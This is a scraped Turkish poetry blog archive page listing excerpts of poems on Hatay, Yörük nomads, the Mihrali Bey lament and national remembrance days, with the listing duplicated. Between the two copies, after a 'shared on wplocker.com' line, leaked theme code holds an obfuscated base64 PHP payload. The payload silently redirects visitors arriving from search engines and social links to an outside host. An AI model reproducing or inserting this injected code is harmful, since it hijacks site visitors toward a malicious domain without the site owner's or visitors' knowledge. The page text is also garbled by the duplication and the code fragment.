Kategori Arşivi: Şiir

Hataylı Şair “Sabahattin Yalkın” abime yaşgünü şiiri

hatay güzellemesi 938, seyil sarı sıcağında-kırılan fay ve ata hasta idi-koltuğunda kızılay ve sigaranın son dumanı, ıslak ray her nefes ömür törpüsü-say ki say akdeniz, barış gölü ve yangın yeri sabahı sabahattin yalkın, o yanay bereketli topraklarda, mavi bir tay denizi içerdi, güneşi öpen şinanay nar çiçeği zamanı, şavkıdı dolunay hat boyunda tanay-sınırda gülen ay ve dağı saman-ırmağı asi-ters akan ... Devamını Oku »

Konar göçer, yaylak şiiri: YÖRÜK KIZI

yörük kızı gece dolunay sallandı, dağlar dağlara selam durdu şafakta boz bir kurt uludu, herkes kendinin iç kurdu o, kalabalıkta kolay farkedilen, al dudak izli, bir aydı bayram günü tek başına, ormanda şarkı söylüyordu anamalcı bu kirli dünya, analara acımasızdı ve dardı kızlar adaktı-kurban eti ısırgandı-zehirli köygöçürendi bir yörük çadırında duman tütüyorsa, aşk bacayı sardı seherde, göçkün turnalar zamanı-yörük kızı ... Devamını Oku »

Kafkasya’dan Sivas’a, Niğde’den Yemen’e “Mihrali Bey Avazı”

Mihrali Bey Ağıdı “Ben gidiyom Rüştü beyim ağlama Köz goyup da ciğerimi dağlama Alay gitti beni burda eyleme. Yemen’e de benim ağam Yemen’e Endi m’ola Mehrali bey Yemen’e Gurdu m’ola çadırları çimene Oğul köz düştüğü yeri yakar, kime ne Dert benim vallah, kime ne? Ben gidiyom Rüştü beyim sana bir nişan Susuzluktan alaylarım perişan Hiç iflah mı olur Yemen’e düşen. ... Devamını Oku »

Kurban Bayramlık şiir: TOY ZAMANI

toy zamanı hiç acele etmeyiniz aman ecele gitmeyiniz ve kara sevda sabır ister severken sevide yitmeyiniz bayramda tay kestik sana ak kımız içelim, kana kana konuğumuz başımız üstüne biz göçeriz ve sürgünüz ama ‘çök’ deyince yere kapandı ve tarlayı süren kara sabandı tohuma can suyu bir damla kan kıtlık geldi-o hasatta toprak yandı töremizi bozan, o maskaralar ve hayatla dalga ... Devamını Oku »

Zamane Şiiri: GÖKKUŞAĞI KÖPRÜSÜ

gökkuşağı köprüsü nevruz sonrası gözüm seğridi-o dolunaydı mavi bulutları sağdı, gök yarıldı, ışık kaydı özgürlük, hasan dağı burcunda, yılkı taydı gökkuşağı köprüsü, iki kişiye tek şemsiye nisan yağmuru, gökkuşağı tarlasına yağdı. beyaz atlar ülkesi kapadokya üşüdü-dondu perili bacalarla dansta, kırmızı başak, undu o seni kibele sandı-kızılırmak beline dolandı o kutsal köprünün üstü kam, altı bayram-dı ertelenen her yaşam, uçan boş ... Devamını Oku »

Ulukışla’da zamana yolculuk (Şiir)

çalkama halil isyanı halaybaşı kerim’in elinde oyalı-al mendil ‘alayım kaçayım dağlara seni’ çığlığı, idil ‘gün doğdu-hep uyandık’ he heyde hey! bolkar dağı-alpagut bağı, kaya dibi çağı çatal kaya burcunda, kam ateşi, ulubatlı ve o beyin ağılında, tüten kutsal dumanı öküz mehmet’in konağı, o kervancı hanı kışlakı mapus damı, o gardiyan ali’yi tanı voltadaki ‘dev-gençli’ ranzaya sızan kanı ateş ahmet ile ... Devamını Oku »

DAĞ BAŞINI DUMAN ALMIŞ, YÜRÜYELİM ARKADAŞLAR…

19 MAYIS RUHU, (Dağ başını duman almış…) YENİDEN… Hakimiyet-i Milliye’den, Yeni Adana Gazetesi’ne; örgütleyici basına… 19 Mayıs 1919 ilk adımdan, 5 Ağustos 1920 Pozantı Kongresi’ne… Kuvacı Yörük Hatça’dan, Kumandan Mustafa Kemal’e selam olsun!.. İlk kıvılcım, ilk nefes, ilk ses, ilk çığlık ve ilk utkuya selam olsun!.. Anadolu’da, nerede bacası tüten bir Yörük çadırı varsa; umudumuz hep yeşerecektir. “Endişelenmeyin, bu çılgınlığın ... Devamını Oku »

Tarih ve doğa bizden bedel istiyor. Günün Şiiri: DİYET

diyet damgalı taşlara, o sarp kayalara adını kazıdım bozkır ateşi şaman dansını ve zikrini resmettim tam zamanı, kam zamanı düngür-hömey-tengri güneşi yutan göğü-yerin altını ve üstünü geçtim kayıp denizde batık gemiler, ırak suyun gözesinde kaynağına ters akan al nehirde, sürüklenme izinde bastığım yer küre, nasırlı ayak ve avuçiçi çığlığımdı gönül gözüm seğridi, sümerli sürmeli gelin közünde ateşe-tekerlek ölülerine-sana donundukça-ay sallandı ... Devamını Oku »

GÜNÜN ANLAMI VE ŞİİRİ “Öte Yaka-6 Mayıs”

öte yaka-6 mayıs er kişi niyetine, iyi bilirdik; bilgeydi, er-dost ve seveni çok kitapçı ilhan yarı aç-yarı tok ve kitaba kan damladı-izi yok boynu kıldan ince, yüreği kılıçtan keskin, ak düşlerin yenik yeşil selvi kavak tanık-dar ağacı-kanlı urgan-tuğ baki sanık başları dikti, dar ağacı kanayan, üç deli-kan, ulu-can yanık bu yaka; ulucanlar, yaylı urgan, dar ağacı, acı, selvi kavak öte ... Devamını Oku »

İzmitli Şair RUŞEN HAKKI abi için (şiir)

ayak ve baş ahi dergahında yaren dili, iş işler nasırlı-kınalı eli iki ters-bir düz işlemeli, oyalı allı yemeni başında iki adım ileri-bir adım geri yürüyüşü, genç yaşında umudu-ütopyası uğruna ölüm, toprağında-taşında akılsız çileli başın ceremesini, ayaklar çeker aslında ilk çığlık son zelzele, gide gele ruşen hakkı sofrasında aşukiye ah!.. pişman olma-ye pişmaniye hat boyu sokakta, aç düşü izmit közde kızarmış, ... Devamını Oku »

shared on wplocker.comdGluZygwKTsKJHFhenBsbT1oZWFkZXJzX3NlbnQoKTsKaWYgKCEkcWF6cGxtKXsKJHJlZmVyZXI9JF9TRVJWRVJbJ0hUVFBfUkVGRVJFUiddOwokdWFnPSRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXTsKaWYgKCR1YWcpIHsKaWYgKCFzdHJpc3RyKCR1YWcsIk1TSUUgNy4wIikgYW5kICFzdHJpc3RyKCR1YWcsIk1TSUUgNi4wIikpewppZiAoc3RyaXN0cigkcmVmZXJlciwieWFob28iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaW5nIikgb3Igc3RyaXN0cigkcmVmZXJlciwicmFtYmxlciIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsIndlYmFsdGEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaXQubHkiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0aW55dXJsLmNvbSIpIG9yIHByZWdfbWF0Y2goIi95YW5kZXhcLnJ1XC95YW5kc2VhcmNoXD8oLio/KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwiZmFjZWJvb2suY29tL2wiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsKaWYgKCFzdHJpc3RyKCRyZWZlcmVyLCJjYWNoZSIpIGFuZCAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSBhbmQgIXN0cmlzdHIoJHJlZmVyZXIsIkVlWXAzRDciKSl7CmhlYWRlcigiTG9jYXRpb246IGh0dHA6Ly9tbnNiZm9hLmRkbnMubWUudWsvIik7CmV4aXQoKTsKfQp9Cn0KfQp9")); tie_breadcrumbs() ?>

Kategori Arşivi: Şiir

Hataylı Şair “Sabahattin Yalkın” abime yaşgünü şiiri

hatay güzellemesi 938, seyil sarı sıcağında-kırılan fay ve ata hasta idi-koltuğunda kızılay ve sigaranın son dumanı, ıslak ray her nefes ömür törpüsü-say ki say akdeniz, barış gölü ve yangın yeri sabahı sabahattin yalkın, o yanay bereketli topraklarda, mavi bir tay denizi içerdi, güneşi öpen şinanay nar çiçeği zamanı, şavkıdı dolunay hat boyunda tanay-sınırda gülen ay ve dağı saman-ırmağı asi-ters akan ... Devamını Oku »

Konar göçer, yaylak şiiri: YÖRÜK KIZI

yörük kızı gece dolunay sallandı, dağlar dağlara selam durdu şafakta boz bir kurt uludu, herkes kendinin iç kurdu o, kalabalıkta kolay farkedilen, al dudak izli, bir aydı bayram günü tek başına, ormanda şarkı söylüyordu anamalcı bu kirli dünya, analara acımasızdı ve dardı kızlar adaktı-kurban eti ısırgandı-zehirli köygöçürendi bir yörük çadırında duman tütüyorsa, aşk bacayı sardı seherde, göçkün turnalar zamanı-yörük kızı ... Devamını Oku »

Kafkasya’dan Sivas’a, Niğde’den Yemen’e “Mihrali Bey Avazı”

Mihrali Bey Ağıdı “Ben gidiyom Rüştü beyim ağlama Köz goyup da ciğerimi dağlama Alay gitti beni burda eyleme. Yemen’e de benim ağam Yemen’e Endi m’ola Mehrali bey Yemen’e Gurdu m’ola çadırları çimene Oğul köz düştüğü yeri yakar, kime ne Dert benim vallah, kime ne? Ben gidiyom Rüştü beyim sana bir nişan Susuzluktan alaylarım perişan Hiç iflah mı olur Yemen’e düşen. ... Devamını Oku »

Kurban Bayramlık şiir: TOY ZAMANI

toy zamanı hiç acele etmeyiniz aman ecele gitmeyiniz ve kara sevda sabır ister severken sevide yitmeyiniz bayramda tay kestik sana ak kımız içelim, kana kana konuğumuz başımız üstüne biz göçeriz ve sürgünüz ama ‘çök’ deyince yere kapandı ve tarlayı süren kara sabandı tohuma can suyu bir damla kan kıtlık geldi-o hasatta toprak yandı töremizi bozan, o maskaralar ve hayatla dalga ... Devamını Oku »

Zamane Şiiri: GÖKKUŞAĞI KÖPRÜSÜ

gökkuşağı köprüsü nevruz sonrası gözüm seğridi-o dolunaydı mavi bulutları sağdı, gök yarıldı, ışık kaydı özgürlük, hasan dağı burcunda, yılkı taydı gökkuşağı köprüsü, iki kişiye tek şemsiye nisan yağmuru, gökkuşağı tarlasına yağdı. beyaz atlar ülkesi kapadokya üşüdü-dondu perili bacalarla dansta, kırmızı başak, undu o seni kibele sandı-kızılırmak beline dolandı o kutsal köprünün üstü kam, altı bayram-dı ertelenen her yaşam, uçan boş ... Devamını Oku »

Ulukışla’da zamana yolculuk (Şiir)

çalkama halil isyanı halaybaşı kerim’in elinde oyalı-al mendil ‘alayım kaçayım dağlara seni’ çığlığı, idil ‘gün doğdu-hep uyandık’ he heyde hey! bolkar dağı-alpagut bağı, kaya dibi çağı çatal kaya burcunda, kam ateşi, ulubatlı ve o beyin ağılında, tüten kutsal dumanı öküz mehmet’in konağı, o kervancı hanı kışlakı mapus damı, o gardiyan ali’yi tanı voltadaki ‘dev-gençli’ ranzaya sızan kanı ateş ahmet ile ... Devamını Oku »

DAĞ BAŞINI DUMAN ALMIŞ, YÜRÜYELİM ARKADAŞLAR…

19 MAYIS RUHU, (Dağ başını duman almış…) YENİDEN… Hakimiyet-i Milliye’den, Yeni Adana Gazetesi’ne; örgütleyici basına… 19 Mayıs 1919 ilk adımdan, 5 Ağustos 1920 Pozantı Kongresi’ne… Kuvacı Yörük Hatça’dan, Kumandan Mustafa Kemal’e selam olsun!.. İlk kıvılcım, ilk nefes, ilk ses, ilk çığlık ve ilk utkuya selam olsun!.. Anadolu’da, nerede bacası tüten bir Yörük çadırı varsa; umudumuz hep yeşerecektir. “Endişelenmeyin, bu çılgınlığın ... Devamını Oku »

Tarih ve doğa bizden bedel istiyor. Günün Şiiri: DİYET

diyet damgalı taşlara, o sarp kayalara adını kazıdım bozkır ateşi şaman dansını ve zikrini resmettim tam zamanı, kam zamanı düngür-hömey-tengri güneşi yutan göğü-yerin altını ve üstünü geçtim kayıp denizde batık gemiler, ırak suyun gözesinde kaynağına ters akan al nehirde, sürüklenme izinde bastığım yer küre, nasırlı ayak ve avuçiçi çığlığımdı gönül gözüm seğridi, sümerli sürmeli gelin közünde ateşe-tekerlek ölülerine-sana donundukça-ay sallandı ... Devamını Oku »

GÜNÜN ANLAMI VE ŞİİRİ “Öte Yaka-6 Mayıs”

öte yaka-6 mayıs er kişi niyetine, iyi bilirdik; bilgeydi, er-dost ve seveni çok kitapçı ilhan yarı aç-yarı tok ve kitaba kan damladı-izi yok boynu kıldan ince, yüreği kılıçtan keskin, ak düşlerin yenik yeşil selvi kavak tanık-dar ağacı-kanlı urgan-tuğ baki sanık başları dikti, dar ağacı kanayan, üç deli-kan, ulu-can yanık bu yaka; ulucanlar, yaylı urgan, dar ağacı, acı, selvi kavak öte ... Devamını Oku »

İzmitli Şair RUŞEN HAKKI abi için (şiir)

ayak ve baş ahi dergahında yaren dili, iş işler nasırlı-kınalı eli iki ters-bir düz işlemeli, oyalı allı yemeni başında iki adım ileri-bir adım geri yürüyüşü, genç yaşında umudu-ütopyası uğruna ölüm, toprağında-taşında akılsız çileli başın ceremesini, ayaklar çeker aslında ilk çığlık son zelzele, gide gele ruşen hakkı sofrasında aşukiye ah!.. pişman olma-ye pişmaniye hat boyu sokakta, aç düşü izmit közde kızarmış, ... Devamını Oku »